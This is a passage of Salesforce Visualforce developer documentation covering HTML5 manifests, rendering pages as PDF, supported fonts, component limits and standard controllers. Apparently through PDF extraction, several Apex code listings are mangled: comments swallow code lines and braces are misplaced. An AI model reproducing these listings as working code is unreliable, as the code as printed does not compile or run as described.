<apex:repeat >
tag with the HTML tags you need.
<ul data-role= "listview" data-inset= "true" data-filter= "true" >
<apex:repeat value= "{! someListOfItems}" var= "item" >
<li > <a href= "#" >{! item.Name} </a > </li >
</apex:repeat >
</ul >
Pass-through attributes aren’t supported in dynamic Visualforce.
Offline Caching Using the HTML5
manifest
Attribute
Use the manifest
attribute of the
<apex:page >
tag to set an HTML5 cache manifest for offline caching of a page’s critical resources.
The value of the manifest
attribute is passed through to the generated HTML. For example:
<apex:page showHeader= "false" sidebar= "false" standardStylesheets= "false" docType= "html-5.0" manifest= "/apex/CacheManifest" >
<header >
<h1 >Congratulations!
</h1 >
</header >
58
Customizing the Appearance and Output of Visualforce Pages Render a Visualforce Page as a PDF File
<article >
<p >This page looks almost like HTML5!
</p >
</article >
</apex:page >
Renders the following
<html >
tag:
<html manifest= "/apex/CacheManifest" >
The manifest
attribute is available on the
<apex:page >
tag for Visualforce pages set to API version 28.0 or higher, and also requires that the applyHtmlTag
is set to true
(the default).
You can use Visualforce to provide a page’s cache manifest. For example, the
CacheManifest
page referenced above might be:
<apex:page contentType= "text/cache-manifest" applyHtmlTag= "false" standardStylesheets= "false" showHeader= "false" >
CACHE MANIFEST index.html
stylesheet.css
images/logo.png
scripts/main.js
</apex:page >
Render a Visualforce Page as a PDF File
You can generate a downloadable, printable PDF file of a Visualforce page using the PDF rendering service.
Convert a page to PDF by changing the
<apex:page >
tag.
<apex:page renderAs="pdf">
A Visualforce page rendered as a PDF file displays either in the browser or is downloaded, depending on the browser’s settings. Specific behavior depends on the browser, version, and user settings, and is outside the control of Visualforce.
The following page includes some account details and renders as a PDF file.
<apex:page standardController= "Account" renderAs= "pdf" >
<apex:stylesheet value= "{!URLFOR($Resource.Styles,'pdf.css')}" />
<h1 >Welcome to Universal Samples!
</h1 >
<p >Thank you, <b > <apex:outputText value= " {!Account.Name}" /> </b >, for becoming a new account with Universal Samples.
</p >
<p >Your account details are: </p >
<table >
<tr > <th >Account Name </th >
<td > <apex:outputText value= "{!Account.Name}" /> </td >
</tr >
<tr > <th >Account Rep </th >
<td > <apex:outputText value= "{!Account.Owner.Name}" /> </td >
</tr >
<tr > <th >Customer Since </th >
59
Customizing the Appearance and Output of Visualforce Pages Add a Save as PDF Feature to a Visualforce Page
<td > <apex:outputText value= "{0,date,long}" >
<apex:param value= "{!Account.CreatedDate}" />
</apex:outputText > </td >
</tr >
</table >
</apex:page >
A Visualforce Page Rendered as a PDF File
Add a Save as PDF Feature to a Visualforce Page
You can add a Save as PDF element to a page to dynamically toggle between rendering the page as HTML or as a PDF file. You can also set the name for the PDF file.
The following page presents a list of contacts for an account. You can display it on screen, or download it as a PDF file by clicking the
Save to PDF link.
<apex:page showHeader= "false" standardStylesheets= "false" standardController= "Account" extensions= "SaveAsPdfExtension" contentType= "{! renderedContentType }" renderAs= "{! renderingService }" >
60
Customizing the Appearance and Output of Visualforce Pages Add a Save as PDF Feature to a Visualforce Page
<!--
This page must be called with an Account ID in the URL, e.g.: https://<salesforceInstance>/apex/AccountContactsPdf?id=001D000000JRBet
-->
<apex:form rendered= "{! renderingService != 'PDF' }" style= "text-align: right; margin: 10px;" >
<apex:commandLink action= "{! saveToPdf }" value= "Save to PDF" >
<apex:param assignTo= "{! renderedFileName }" value= "Contact-List.pdf" />
</apex:commandLink >
<hr/ >
</apex:form >
<h1 >Contacts for {! Account.Name} </h1 >
<apex:dataTable value= "{! Account.Contacts }" var= "contact" >
<apex:column headerValue= "Name" value= "{! contact.Name
}" />
<apex:column headerValue= "Title" value= "{! contact.Title }" />
<apex:column headerValue= "Phone" value= "{! contact.Phone }" />
<apex:column headerValue= "Email" value= "{! contact.Email }" />
</apex:dataTable >
<hr/ >
<!-- A little bit of info about the page's rendering; see how it changes when saved as a PDF. --> contentType: <apex:outputText value= " {! renderedContentType }" /> <br/ > renderingService: <apex:outputText value= " {! renderingService }" /> <br/ >
</apex:page >
This example has two important elements. First, the renderAs
and contentType
attributes of the
<apex:page >
component are set dynamically using expressions. The values of these expressions control into which format the page is rendered.
The other element is the
<apex:form >
, which provides a user interface for saving the page to PDF. The form has one element, an
<apex:commandLink>
that calls the saveToPdf
action method. An
<apex:param >
component provides a name for the
PDF file, which is used in the controller code to set the file name.
The form is only displayed when the page is rendered as HTML; it’s not visible in the PDF version. This display trick is accomplished by setting the rendered
attribute on the
<apex:form >
component to false
when the page is rendered as a PDF file.
Here’s the controller extension, which you can easily reuse in your own pages.
public class SaveAsPdfExtension {
// Required extension constructor (empty, no-op) public SaveAsPDFExtension(ApexPages.StandardController controller) {}
// Determines what kind of rendering to use for the page request public String renderingService { get; private set; }
// Allow the page to set the PDF file name public String renderedFileName { get; set { renderedFileName = this .sanitizeFileName(value); }
}
61
Customizing the Appearance and Output of Visualforce Pages Add a Save as PDF Feature to a Visualforce Page
// Rendered content MIME type, used to affect HTTP response public String renderedContentType { get {
String renderedContentType = 'text/html' ; // the default if ( !
this .renderingAsHtml() ) {
// Provides a MIME type for a PDF document renderedContentType = 'application/pdf' ;
// Add a file name for the PDF file if ( this .renderedFileName != null ) {
// This is supposed to set the file name, but it doesn't work renderedContentType += '#' + this .renderedFileName;
// This is a work-around to set the file name
ApexPages.currentPage().getHeaders().put(
'content-disposition' , 'attachment; filename=' + this .renderedFileName);
}
} return renderedContentType;
}
}
// Are we rendering to HTML or PDF?
public Boolean renderingAsHtml() { return ( (renderingService == null ) ||
( ! renderingService.startsWith( 'PDF' )) );
}
// Action method to save (or "print") to PDF public PageReference saveToPdf() { renderingService = 'PDF' ; return null ;
}
// Private helper -- basic, conservative santization private String sanitizeFileName( String unsafeName) {
String allowedCharacters = '0-9a-zA-Z-_.' ;
String sanitizedName = unsafeName.replaceAll( '[^' + allowedCharacters + ']' , '' );
// You might also want to check filename length,
// that the filename ends in '.pdf', etc.
return (sanitizedName);
}
}
The main part of the extension is simple. The renderingService
property controls whether the page is rendered in HTML or PDF.
Its value defaults to null
when the page is loaded, and changes to “PDF” if the saveToPdf
action method is called. The renderAs attribute of the
<apex:page >
component references renderingService
. When it’s anything other than “PDF” the page renders normally as HTML. When it’s “PDF” the page—you guessed it—renders as a PDF file.
62
Customizing the Appearance and Output of Visualforce Pages Render a Visualforce Page as PDF from Apex
The renderedContentType
property provides a MIME type value that is used by the contentType
attribute of the Visualforce
<apex:page >
component. Setting this value affects the server response. It adds an HTTP header that tells the client browser the format of the response—in this case, either HTML or PDF.
The renderedContentType
property also sets the file name for the downloaded PDF file. It gets the file name from the renderedFileName
property, which is set using the
<apex:param >
component in the page. Although it’s documented that appending “#” and a file name to the contentType
sets the file name that’s sent to the client browser, this convention doesn’t work.
Therefore, a header is set to provide the file name.
If you don’t need to set the file name for the PDF download, you can ignore the renderedContentType
and renderedFileName
Using Visualforce PDF Rendering
on page 68.
Render a Visualforce Page as PDF from Apex
You can use the
PageReference.getContentAsPDF()
method in Apex to render a Visualforce page as PDF data. Then use
Apex code to convert that PDF data to an email attachment, a document, a Chatter post, and so on.
The following example is a simple three element form that selects an account and a report format, and then sends the resulting report to the specified email address.
<apex:page title= "Account Summary" tabStyle= "Account" controller= "PdfEmailerController" >
<apex:pageMessages />
<apex:form >
<apex:pageBlock title= "Account Summary" >
<p >Select a recently modified account to summarize.
</p >
<p/ >
<apex:pageBlockSection title= "Report Format" >
<!-- Select account menu -->
<apex:pageBlockSectionItem >
<apex:outputLabel for= "selectedAccount" value= "Account" />
<apex:selectList id= "selectedAccount" value= "{! selectedAccount }" size= "1" >
<apex:selectOption /> <!-- blank by default -->
<apex:selectOptions value= "{! recentAccounts }" />
</apex:selectList >
</apex:pageBlockSectionItem >
<!-- Select report format menu -->
<apex:pageBlockSectionItem >
<apex:outputLabel for= "selectedReport" value= "Summary Format" />
<apex:selectList id= "selectedReport" value= "{! selectedReport }" size= "1" >
<apex:selectOptions value= "{! reportFormats }" />
</apex:selectList >
</apex:pageBlockSectionItem >
<!-- Email recipient input field -->
63
Customizing the Appearance and Output of Visualforce Pages Render a Visualforce Page as PDF from Apex
<apex:pageBlockSectionItem >
<apex:outputLabel for= "recipientEmail" value= "Send To" />
<apex:inputText value= "{! recipientEmail }" size= "40" />
</apex:pageBlockSectionItem >
</apex:pageBlockSection >
<apex:pageBlockButtons location= "bottom" >
<apex:commandButton action= "{! sendReport }" value= "Send Account Summary" />
</apex:pageBlockButtons >
</apex:pageBlock >
</apex:form >
</apex:page >
This page is a simple user interface. When you’re generating a PDF file from Apex, all the action is in the Apex code.
In this example, that code is in the
PdfEmailerController
class that’s specified as the page’s controller.
public with sharing class PdfEmailerController {
// Form fields public Id selectedAccount { get; set; } // Account selected on Visualforce page public String selectedReport { get; set; } // Report selected public String recipientEmail { get; set; } // Send to this email
// Action method for the [Send Account Summary] button public PageReference sendReport() {
// NOTE: Abbreviated error checking to keep the code sample short
// You, of course, would never do this little error checking if ( String .isBlank( this .selectedAccount) || String .isBlank( this .recipientEmail)) {
ApexPages.addMessage( new
ApexPages.Message(ApexPages.Severity.ERROR,
'Errors on the form. Please correct and resubmit.' )); return null ; // early out
}
// Get account name for email message strings
Account account = [SELECT Name
FROM Account
WHERE Id = : this .selectedAccount
LIMIT 1]; if ( null == account) {
// Got a bogus ID from the form submission
ApexPages.addMessage( new
ApexPages.Message(ApexPages.Severity.ERROR,
'Invalid account. Please correct and resubmit.' )); return null ; // early out
}
// Create email
Messaging.SingleEmailMessage message = new Messaging.SingleEmailMessage();
64
Customizing the Appearance and Output of Visualforce Pages Render a Visualforce Page as PDF from Apex
} message.setToAddresses( new String []{ this .recipientEmail }); message.setSubject( 'Account summary for ' + account.Name); message.setHtmlBody( 'Here\'s a summary for the ' + account.Name + ' account.' );
// Create PDF
PageReference reportPage =
(PageReference) this .reportPagesIndex.get( this .selectedReport); reportPage.getParameters().put( 'id' , this .selectedAccount);
Blob reportPdf; try { reportPdf = reportPage.getContentAsPDF();
} catch (Exception e) { reportPdf = Blob .valueOf(e.getMessage());
}
// Attach PDF to email and send
Messaging.EmailFileAttachment attachment = new Messaging.EmailFileAttachment(); attachment.setContentType( 'application/pdf' ); attachment.setFileName( 'AccountSummary-' + account.Name + '.pdf' ); attachment.setInline( false ); attachment.setBody(reportPdf); message.setFileAttachments( new Messaging.EmailFileAttachment[]{ attachment });
Messaging.sendEmail( new Messaging.SingleEmailMessage[]{ message });
ApexPages.addMessage( new
ApexPages.Message(ApexPages.Severity.INFO,
'Email sent with PDF attachment to ' + this .recipientEmail)); return null ; // Stay on same page, even on success
/***** Form Helpers *****/
// Ten recently-touched accounts, for the Account selection menu public List<SelectOption> recentAccounts { get { if ( null == recentAccounts){ recentAccounts = new List<SelectOption>(); for (Account acct : [SELECT Id,Name,LastModifiedDate
FROM Account
} set;
ORDER BY LastModifiedDate DESC
LIMIT 10]) { recentAccounts.add( new SelectOption(acct.Id, acct.Name));
}
} return recentAccounts;
}
// List of available reports, for the Summary Format selection menu public List<SelectOption> reportFormats {
65
Customizing the Appearance and Output of Visualforce Pages Render a Visualforce Page as PDF from Apex
} get { if ( null == reportFormats) { reportFormats = new List<SelectOption>(); for (Map < String , Object > report : reports) { reportFormats.add( new SelectOption(
( String )report.get( 'name' ), ( String )report.get( 'label' )));
} set;
}
} return reportFormats;
/***** Private Helpers *****/
// List of report templates to make available
// These are just Visualforce pages you might print to PDF private Map< String ,PageReference> reportPagesIndex; private List<Map< String , Object >> reports { get { if ( null == reports) { reports = new List<Map< String , Object >>();
// Add one report to the list of reports
Map< String , Object > simpleReport = new Map< String , Object >(); simpleReport.put( 'name' , 'simple' ); simpleReport.put( 'label' , 'Simple' ); simpleReport.put( 'page' , Page.ReportAccountSimple); reports.add(simpleReport);
// Add your own, more complete list of PDF templates here
// Index the page names for the reports this .reportPagesIndex = new Map< String ,PageReference>(); for (Map< String , Object > report : reports) { this .reportPagesIndex.put(
( String )report.get( 'name' ), (PageReference)report.get( 'page' ));
} set;
}
} return reports;
}
}
This Apex controller can be conceptually divided into four parts.
•
The three public properties at the beginning capture the values submitted by the three input elements on the form.
•
The sendReport()
action method fires when the Send Account Summary button is clicked.
•
The two public helper properties supply the values to use in the two select list input elements.
•
The private helpers at the end encapsulate the list of possible PDF report formats. You can add your own report by creating a
Visualforce page and then adding an entry for it in this section.
When the sendReport()
action method fires, the code does the following.
66
Customizing the Appearance and Output of Visualforce Pages Render a Visualforce Page as PDF from Apex
•
It performs rudimentary error checking to ensure that the form fields have useful values.
Note: This error checking is inadequate for a form that must survive contact with real people. In your production code perform more complete form validation.
•
Next it uses the value of the selected account to look up the name of that account. The account name is used in text that’s added to the email message. This lookup is also an opportunity to further validate the form value and ensure that a real account was selected.
•
It uses the
Messaging.SingleEmailMessage
class to assemble an email message, setting the To, Subject, and Body email message values.
•
The code creates a
PageReference
for the selected report format and then sets a page request parameter on it. The parameter is named “id”, and its value is set to the selected account’s ID. This
PageReference
represents a specific request to access this page in the context of the specified account. When getContentAsPdf()
is called, the referenced Visualforce page has access to the specified account, and the page is rendered with that account’s details.
•
Finally, the PDF data is added to an attachment, and the attachment is added to the email message created earlier. The message is then sent.
When using
PageReference.getContentAsPdf()
, the return type of the method call is
Blob
, which stands for “binary large object.” In Apex, the
Blob
data type represents untyped binary data. It’s only when the reportPdf
variable is added to the
Messaging.EmailFileAttachment
with a content type of “application/pdf” that the binary data becomes a PDF file.
In addition, the call to getContentAsPdf()
is wrapped in a try / catch
block. If the call fails, the catch
replaces the hoped for PDF data with a
Blob
version of the exception’s message text.
Rendering a Visualforce page as PDF data is treated semantically as a callout to an external service for various reasons. One reason is that the rendering service can fail in all the same ways that an external service can fail. For instance, the page references external resources that aren’t available. Another example is when the page contains too much data—usually in the form of images—or the rendering time exceeds a limit. For this reason, always wrap the getContentAsPdf()
rendering call in a try / catch
block when rendering a
Visualforce page as PDF data in Apex.
For completeness, here’s the report template page that’s rendered into PDF data by the Apex code.
<apex:page showHeader= "false" standardStylesheets= "false" standardController= "Account" >
<!--
This page must be called with an Account ID in the request, e.g.: https://<salesforceInstance>/apex/ReportAccountSimple?id=001D000000JRBet
-->
<h1 >Account Summary for {! Account.Name } </h1 >
<table >
<tr > <th >Phone </th > <td > <apex:outputText value= "{! Account.Phone }" /> </td > </tr >
<tr > <th >Fax </th > <td > <apex:outputText value= "{! Account.Fax }" /> </td > </tr >
<tr > <th >Website </th > <td > <apex:outputText value= "{! Account.Website }" /> </td > </tr >
</table >
<p > <apex:outputText value= "{! Account.Description }" /> </p >
</apex:page >
67
Customizing the Appearance and Output of Visualforce Pages Fonts Available When Using Visualforce PDF Rendering
Fonts Available When Using Visualforce PDF Rendering
Visualforce PDF rendering supports a limited set of fonts. To ensure that PDF output renders as you expect, use the supported font names.
For each typeface, the first font-family
name listed is recommended.
Typeface
Arial Unicode MS font-family
Values
•
Arial Unicode MS
Helvetica
•
sans-serif
•
SansSerif
•
Dialog
Times
•
serif
•
Times
Courier
•
monospace
•
Courier
•
Monospaced
•
DialogInput
Note:
•
These rules apply to server-side PDF rendering. Viewing pages in a web browser can have different results.
•
Text styled with a value not listed here uses Times. For example, if you use the word “Helvetica,” it renders as Times, because that’s not a supported value for the Helvetica font. We recommend using “sans-serif”.
•
Arial Unicode MS is the only multibyte font available. It’s the only font that provides support for the extended character sets of languages that don’t use the Latin character set.
•
Web fonts aren’t supported when the page is rendered as a PDF file. You can use web fonts in your Visualforce pages when they’re rendered normally.
Testing Font Rendering
You can use the following page to test font rendering with the Visualforce PDF rendering engine.
<apex:page showHeader= "false" standardStylesheets= "false" controller= "SaveToPDF" renderAs= "{! renderAs }" >
<apex:form rendered= "{! renderAs != 'PDF' }" style= "text-align: right; margin: 10px;" >
<div > <apex:commandLink action= "{! print }" value= "Save to PDF" /> </div >
<hr/ >
</apex:form >
<h1 >PDF Fonts Test Page </h1 >
<p >This text, which has no styles applied, is styled in the default font for the
68
Customizing the Appearance and Output of Visualforce Pages Fonts Available When Using Visualforce PDF Rendering
Visualforce PDF rendering engine.
</p >
<p >The fonts available when rendering a page as a PDF are as follows. The first listed <code >font-family </code > value for each typeface is the recommended choice.
</p >
<table border= "1" cellpadding= "6" >
<tr > <th >Font Name </th > <th >Style <code >font-family </code > Value to Use (Synonyms) </th > </tr >
<tr > <td > <span style= "font-family: Arial Unicode MS; font-size: 14pt; " >Arial
Unicode MS </span > </td > <td > <ul >
<li > <span style= "font-family: Arial Unicode MS; font-size: 14pt;" >Arial Unicode
MS </span > </li >
</ul > </td > </tr >
<tr > <td > <span style= "font-family: Helvetica; font-size: 14pt;" >Helvetica </span > </td >
<td > <ul >
<li > <span style= "font-family: sans-serif; font-size: 14pt;" >sans-serif </span > </li >
<li > <span style= "font-family: SansSerif; font-size: 14pt;" >SansSerif </span > </li >
<li > <span style= "font-family: Dialog; font-size: 14pt;" >Dialog </span > </li >
</ul > </td > </tr >
<tr > <td > <span style= "font-family: Times; font-size: 14pt;" >Times </span > </td > <td > <ul >
<li > <span style= "font-family: serif; font-size: 14pt;" >serif </span > </li >
<li > <span style= "font-family: Times; font-size: 14pt;" >Times </span > </li >
</ul > </td > </tr >
<tr > <td > <span style= "font-family: Courier; font-size: 14pt;" >Courier </span > </td >
<td > <ul >
<li > <span style= "font-family: monospace; font-size: 14pt;" >monospace </span > </li >
<li > <span style= "font-family: Courier; font-size: 14pt;" >Courier </span > </li >
<li > <span style= "font-family: Monospaced; font-size: 14pt;" >Monospaced </span > </li >
<li > <span style= "font-family: DialogInput; font-size: 14pt;" >DialogInput </span > </li >
</ul > </td > </tr >
</table >
<p > <strong >Notes: </strong >
<ul >
<li >These rules apply to server-side PDF rendering. You might see different results when viewing this page in a web browser.
</li >
<li >Text styled with any value besides those listed above receives the default font style, Times. This means that, ironically, while Helvetica 's synonyms render as
Helvetica, using "Helvetica" for the font-family style renders as Times.
We recommend using "sans-serif" .
</li >
<li >Arial Unicode MS is the only multibyte font available, providing support for the extended character sets of languages that don 't use the Latin character set.</li>
</ul >
</p >
</apex:page >
The preceding page uses the following controller, which provides a simple Save to PDF function.
public with sharing class SaveToPDF {
// Determines whether page is rendered as a PDF or just displayed as HTML public String renderAs { get; set; }
// Action method to "print" to PDF
69
Customizing the Appearance and Output of Visualforce Pages Visualforce PDF Rendering Considerations and Limitations public PageReference print() { renderAs = 'PDF' ; return null ;
}
}
Visualforce PDF Rendering Considerations and Limitations
When designing Visualforce pages intended to be rendered to PDF, take the following considerations into account. Always verify the formatting and appearance of the PDF version of your page before putting it into production.
Limitations of the Visualforce PDF rendering service include the following.
•
PDF is the only supported rendering service.
•
The PDF rendering service renders PDF version 1.4.
•
Rendering a Visualforce page as a PDF file is intended for pages designed and optimized for print.
•
A Visualforce page rendered as a PDF file displays either in the browser or is downloaded, depending on the browser’s settings.
Specific behavior depends on the browser, version, and user settings, and is outside the control of Visualforce.
•
The PDF rendering service renders the markup and data on your page, but it might not render formatting contained within the contents of rich text area fields added to the page.
•
Long lines of text that don’t have break points, such as a space or dash, can’t be wrapped by the PDF rendering service. This most commonly happens with very long URLs, registry entries, and so on. When these lines are wider than the page, they increase the width of the page’s content beyond the edge of the PDF page. This causes content to “flow” off the side of the page, cutting it off.
•
Don’t use standard components that aren’t easily formatted for print, or form elements such as inputs or buttons, or any component that requires JavaScript to be formatted.
•
PDF rendering doesn’t support JavaScript-rendered content.
•
PDF rendering isn’t supported for pages in Salesforce1.
•
The font used on the page must be available on the Visualforce PDF rendering service. Web fonts aren’t supported.
•
If the PDF file fails to display all the page’s text, particularly multibyte characters such as Japanese or accented international characters, adjust your CSS to use a font that supports them. For example:
<apex:page showHeader= "false" applyBodyTag= "false" renderAs= "pdf" >
<head >
<style > body { font-family: 'Arial Unicode MS' ; }
</style >
</head >
<body >
これはサンプルページです。
<br/ >
This is a sample page: API version 28.0
</body >
</apex:page >
“Arial Unicode MS” is the only font supported for extended character sets that include multibyte characters.
•
If you use inline CSS styles, set the API version to 28.0 or later. Also set
<apex:page applyBodyTag= "false" >
, and add static, valid
<head >
and
<body >
tags to your page, as in the previous example.
70
Customizing the Appearance and Output of Visualforce Pages Component Behavior When Rendered as PDF
•
The maximum response size when creating a PDF file must be less than 15 MB before being rendered as a PDF file. This limit is the standard limit for all Visualforce requests.
•
The maximum file size for a generated PDF file is 60 MB.
•
The maximum total size of all images included in a generated PDF is 30 MB.
•
PDF rendering doesn’t support images encoded in the data:
URI scheme format.
•
The following components don’t support double-byte fonts when rendered as PDF.
–
<apex:pageBlock >
–
<apex:sectionHeader >
These components aren’t recommended for use in pages rendered as PDF.
•
If an
<apex:dataTable >
or
<apex:pageBlockTable >
has no
<apex:column >
components that are rendered, rendering the page as PDF fails. To work around this issue, set the table component’s rendered
attribute to false
if none of its child
<apex:column >
components are rendered.
Component Behavior When Rendered as PDF
Understanding how Visualforce components behave when converted to PDF is essential to creating pages that render well.
The Visualforce PDF rendering service renders static HTML and basic CSS that is explicitly provided by the page. As a rule, don’t use components that:
•
Rely on JavaScript to perform an action
•
Depend on Salesforce style sheets
•
Use assets such as style sheets or graphics that aren’t available in the page itself or in a static resource
To check if your Visualforce page falls into one of these categories, right-click anywhere on the page and view the HTML source. If you see a
<script >
tag that refers to JavaScript (
.js
) or a
<link >
tag that refers to a style sheet (
.css
), verify that the generated
PDF file displays as expected.
Components That Are Safe When Rendering as PDF
•
<apex:composition >
(as long as the page contains PDF-safe components)
•
<apex:dataList >
•
<apex:define >
•
<apex:facet >
•
<apex:include >
(as long as the page contains PDF-safe components)
•
<apex:insert >
•
<apex:image >
•
<apex:outputLabel >
•
<apex:outputLink >
•
<apex:outputPanel >
•
<apex:outputText >
•
<apex:page >
•
<apex:panelGrid >
•
<apex:panelGroup >
•
<apex:param >
71
Customizing the Appearance and Output of Visualforce Pages Component Behavior When Rendered as PDF
•
<apex:repeat >
•
<apex:stylesheet >
(as long as the URL isn’t directly referencing Salesforce style sheets)
•
<apex:variable >
Components to Use with Caution When Rendering as PDF
•
<apex:attribute >
•
<apex:column >
•
<apex:component >
•
<apex:componentBody >
•
<apex:dataTable >
Components That Are Unsafe to Use When Rendering as PDF
•
<apex:actionFunction >
•
<apex:actionPoller >
•
<apex:actionRegion >
•
<apex:actionStatus >
•
<apex:actionSupport >
•
<apex:commandButton >
•
<apex:commandLink >
•
<apex:detail >
•
<apex:enhancedList >
•
<apex:flash >
•
<apex:form >
•
<apex:iframe >
•
<apex:includeScript >
•
<apex:inputCheckbox >
•
<apex:inputField >
•
<apex:inputFile >
•
<apex:inputHidden >
•
<apex:inputSecret >
•
<apex:inputText >
•
<apex:inputTextarea >
•
<apex:listViews >
•
<apex:message >
•
<apex:messages >
•
<apex:outputField >
•
<apex:pageBlock >
•
<apex:pageBlockButtons >
•
<apex:pageBlockSection >
72
Customizing the Appearance and Output of Visualforce Pages
•
<apex:pageBlockSectionItem >
•
<apex:pageBlockTable >
•
<apex:pageMessage >
•
<apex:pageMessages >
•
<apex:panelBar >
•
<apex:panelBarItem >
•
<apex:relatedList >
•
<apex:scontrol >
•
<apex:sectionHeader >
•
<apex:selectCheckboxes >
•
<apex:selectList >
•
<apex:selectOption >
•
<apex:selectOptions >
•
<apex:selectRadio >
•
<apex:tab >
•
<apex:tabPanel >
•
<apex:toolbar >
•
<apex:toolbarGroup >
Component Behavior When Rendered as PDF
73
CHAPTER 5
Standard Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified in associated
Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a page, and can modify component behavior.
The Force.com platform provides a number of standard controllers that contain the same functionality and logic that are used for standard
Salesforce pages. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page.
A standard controller exists for every Salesforce object that can be queried using the Force.com API.
The following topics include additional information about using standard controllers:
•
Associating a Standard Controller with a Visualforce Page
•
Accessing Data with a Standard Controller
•
Using Standard Controller Actions
•
Validation Rules and Standard Controllers
•
Styling Pages that Use Standard Controllers
•
Checking for Object Accessibility
•
Custom Controllers and Controller Extensions
Associating a Standard Controller with a Visualforce Page
To associate a standard controller with a Visualforce page, use the standardController
attribute on the
<apex:page >
tag and assign it the name of any Salesforce object that can be queried using the Force.com API.
For example, to associate a page with the standard controller for a custom object named MyCustomObject, use the following markup:
<apex:page standardController= "MyCustomObject__c" >
</apex:page >
Note:
When you use the standardController
attribute on the
<apex:page >
tag, you cannot use the controller attribute at the same time.
Accessing Data with a Standard Controller
Every standard controller includes a getter method that returns the record specified by the id
query string parameter in the page URL.
This method allows the associated page markup to reference fields on the context record by using
{!
object}
syntax, where
object
is the lowercase name of the object associated with the controller. For example, a page that uses the Account standard controller can use
{!account.name}
to return the value of the name
field on the account that is currently in context.
74
Standard Controllers Using Standard Controller Actions
Note: For the getter method to succeed, the record specified by the id
query string parameter in the URL must be of the same type as the standard controller. For example, a page that uses the Account standard controller can only return an account record.
If a contact record ID is specified by the id
query string parameter, no data is returned by the
{!account}
expression.
As with queries in the Force.com API, you can use merge field syntax to retrieve data from related records:
•
You can traverse up to five levels of child-to-parent relationships. For example, if using the Contact standard controller, you can use
{!contact.Account.Owner.FirstName}
(a three-level child-to-parent relationship) to return the name of the owner of the account record that is associated with the contact.
•
You can traverse one level of parent-to-child relationships. For example, if using the Account standard controller, you can use
{!account.Contacts}
to return an array of all contacts associated with the account that is currently in context.
Using Standard Controller Actions
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using
{! }
notation in the action
parameter of one of the following tags:
•
creates a button that calls an action
•
creates a link that calls an action
•
•
makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action
•
defines a new JavaScript function that calls an action
•
calls an action when the page is loaded
The following table describes the action methods that are supported by all standard controllers. You can associate these actions with any Visualforce component that includes an action
attribute.
Action
save quicksave edit delete cancel list
Description
Inserts a new record or updates an existing record if it is currently in context. After this operation is finished, the save
action returns the user to the original page (if known), or navigates the user to the detail page for the saved record.
Inserts a new record or updates an existing record if it is currently in context. Unlike the save
action, this page does not redirect the user to another page.
Navigates the user to the edit page for the record that is currently in context. After this operation is finished, the edit
action returns the user to the page where the user originally invoked the action.
Deletes the record that is currently in content. After this operation is finished, the delete
action either refreshes the page or sends the user to tab for the associated object.
Aborts an edit operation. After this operation is finished, the cancel
action returns the user to the page where the user originally invoked the edit.
Returns a PageReference object of the standard list page, based on the most recently used list filter for that object. For example, if the standard controller is contact
, and the last filtered list that the user viewed is New Last Week, the contacts created in the last week are displayed.
75
Standard Controllers Validation Rules and Standard Controllers
For example, the following page allows you to update an account. When you click Save, the save
action is triggered on the standard controller, and the account is updated.
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
<apex:inputField value= "{!account.name}" />
<apex:inputField value= "{!account.site}" />
<apex:inputField value= "{!account.type}" />
<apex:inputField value= "{!account.accountNumber}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001x000xxx3Jsxb
Note: Command buttons and links that are associated with save
, quicksave
, edit
, or delete
actions in a standard controller are only rendered if the user has the appropriate permissions. Likewise, if no particular record is associated with a page, command buttons and links associated with the edit
and delete
actions are not rendered.
Validation Rules and Standard Controllers
If a user enters data on a Visualforce page that uses a standard controller, and that data causes a validation rule error, the error can be displayed on the Visualforce page. If the validation rule error location is a field associated with an
<apex:inputField >
component, the error displays there. If the validation rule error location is set to the top of the page, use the
<apex:pageMessages >
or
<apex:messages >
component within the
<apex:page >
to display the error.
Styling Pages that Use Standard Controllers
Any page associated with a standard controller automatically inherits the style that is used for standard Salesforce pages associated with the specified object. That is, the tab for the specified object appears selected, and the associated color of the tab is used to style all page elements.
You can override the styling of a page that uses a standard controller with the tabStyle
attribute on the
<apex:page >
tag. For example, the following page uses the Account standard controller, but renders a page that highlights the Opportunities tab and uses the Opportunity tab's yellow coloring:
<apex:page standardController= "Account" tabStyle= "Opportunity" >
</apex:page >
76
Standard Controllers Checking for Object Accessibility
To use the styling associated with MyCustomObject:
<apex:page standardController= "Account" tabStyle= "MyCustomObject__c" >
</apex:page >
To use the styling associated with a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label Sources, use:
<apex:page standardController= "Account" tabStyle= "Source__tab" >
</apex:page >
Alternatively, you can override standard controller page styles with your own custom stylesheets and inline styles.
SEE ALSO:
Checking for Object Accessibility
If a user has insufficient privileges to view an object, any Visualforce page that uses a controller to render that object will be inaccessible.
To avoid this error, you should ensure that your Visualforce components will only render if a user has access to the object associated with the controller.
You can check for the accessibility of an object like this:
{!$ObjectType.objectname.accessible}
This expression returns a true or false value.
For example, to check if you have access to the standard Lead object, use the following code:
{!$ObjectType.Lead.accessible}
For custom objects, the code is similar:
{!$ObjectType.MyCustomObject__c.accessible} where
MyCustomObject__c
is the name of your custom object.
To ensure that a portion of your page will display only if a user has access to an object, use the render
attribute on a component. For example, to display a page block if a user has access to the Lead object, you would do the following:
<apex:page standardController= "Lead" >
<apex:pageBlock rendered= "{!$ObjectType.Lead.accessible}" >
<p >This text will display if you can see the Lead object.
</p >
</apex:pageBlock >
</apex:page >
It is good practice to provide an alternative message if a user cannot access an object. For example:
<apex:page standardController= "Lead" >
<apex:pageBlock rendered= "{!$ObjectType.Lead.accessible}" >
<p >This text will display if you can see the Lead object.
</p >
</apex:pageBlock >
